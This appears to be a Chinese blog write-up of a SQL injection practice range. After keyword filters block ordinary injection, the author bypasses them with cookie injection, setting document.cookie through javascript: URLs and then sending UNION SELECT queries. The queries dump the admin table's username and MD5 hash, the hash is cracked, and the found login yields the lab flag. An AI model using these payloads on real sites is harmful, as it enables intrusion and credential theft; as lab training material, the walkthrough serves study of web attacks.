当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
SQL 注入靶场练习【实例2】
使用ModHeader工具
【实例2】靶场传送门:http://117.167.136.245:10181/
实例2使用了Modheader 工具,具体这个工具怎么使用,此处不讲解。
1. 进入靶场页面展示如下图
2. 我们要找一个带有参数的地方,随便点开一个新闻动态链接
打开【2009将加快机械工业发展的步伐】新闻链接
3. 跟上篇文章一样,咋们先尝试看看,加入单引号看看页面是否会报错
访问发现有注入防护,经测试and 、select等关键字,CE尝试了大小写绕过、双写绕过、关键字替换、编码绕过、内部注释绕过、内联注释绕过方式都没成功就会被拦截,但在尝试Cookie注入的时候惊喜来了。PS:绕过姿势有很多,我这里只尝试了常见的绕过姿势
4. 我们先使用手工COOKIE 注入
1.寻找形如“.asp?id=xx”类的带参数的URL。
2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用是用Request("id")这种方式获取数据的。
4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));”
“javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。
和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。5.使用常规注入语句进行注入即可。
javascript:alert(document.cookie="id="+escape("170"));
按Enter键后弹出一个对话框,内容是“id=170”
此时已经把ID注入进了Cookie里 然后我们不带参数ID=170 进行访问
此时到这里的时候,我们抠抠脚都能想到是存在Cookie 注入的,那么直接开干
5. 重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL
javascript:alert(document.cookie="id="+escape("170 and 1=2"));
按Enter键后弹出一个对话框,内容是“id=170”
解码看看是啥鬼
解码地址:http://tool.oschina.net/encode?type=4
6. 此时已经把ID注入进了Cookie里 然后我们不带参数id=170 and 1=1,进行访问。我们发现 and 1=1 是可以正常访问的
7. 那么and 1=2 呢?
按Enter键后弹出一个对话框,内容是“id=170%20and%201%3D2”
PS:这里我就不解码了,这个URL 解码后的意思就是 id=170 and 1=2
8. 此时已经把id注入进了Cookie里 然后我们不带参数id=170 and 1=2,进行访问。我们发现 and 1=2 报错,所以说明,此URL存在 SQL注入
9. 爆字段长度
javascript:alert(document.cookie="id="+escape("170 order by 6"));
id=170%20and%201%3D2%20order%20by%206
页面返回正常
此时已经把ID注入进了Cookie里 然后我们不带参数ID=170 进行访问
我艹,发现继续这样写下去篇幅会很长......,不继续写了,后续步骤跟上篇文章是一样的步骤,大家自己感兴趣的话,可自己尝试哈。
后续还需爆的内容
• 爆字段
• 爆当前库名、当前用户名、当前数据库版本信息、当前操作系统版本信息
• 爆其它数据库名
• 爆某个数据库的表名
• 爆某个表的列名
• 爆账号和密码
用到了ModHeader插件,点击+号新增一个Request头
添加一个Cookie头,并写值为id=170,并确保已开启(打勾)
继续猜测是否存在admin表(+号代替空格,不然会出错)
id=170+union+select+1,2,3,4,5,6,7,8,9,10+from+admin
发现页面回显了2、3、7、8、9。
没有出现数据库错误,这证明admin表是存在的。且第2、第3、7、8、9字段,可以用来猜测字段名,同时,可以直接回显在页面上。
我们接着尝试猜测最常见的管理表字段名Username和Password,我们在2、3、7、8、9中任选两个,分别填入Username和Password
比如2和3:
id=170+union+select+1,username,password,4,5,6,7,8,9,10+from+admin
接着刷新页面,发现页面返回了admin表中,username和password字段的值:admin、b9a2a2b5dffb918c
这应该就是管理员用户名和密码了,但管理员密码看起来有些奇怪。
字母+数字的16位组合,很像md5的特征。打开https://cmd5.com/ ,将b9a2a2b5dffb918c进行解密。
解密后,密码为welcome
我这里使用御剑扫描目录,扫描出来一堆,但我们要找到适合我们的,看到/admin/login.asp 貌似就是我们要找的
进入刚刚扫描出来的路径,发现是管理员登录页面,那么输入我们刚刚报出来的账号和密码,尝试看看能不能登录
成功登陆!到此,成功绕过防护注入得到密码,登陆后台拿到FLAG!
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重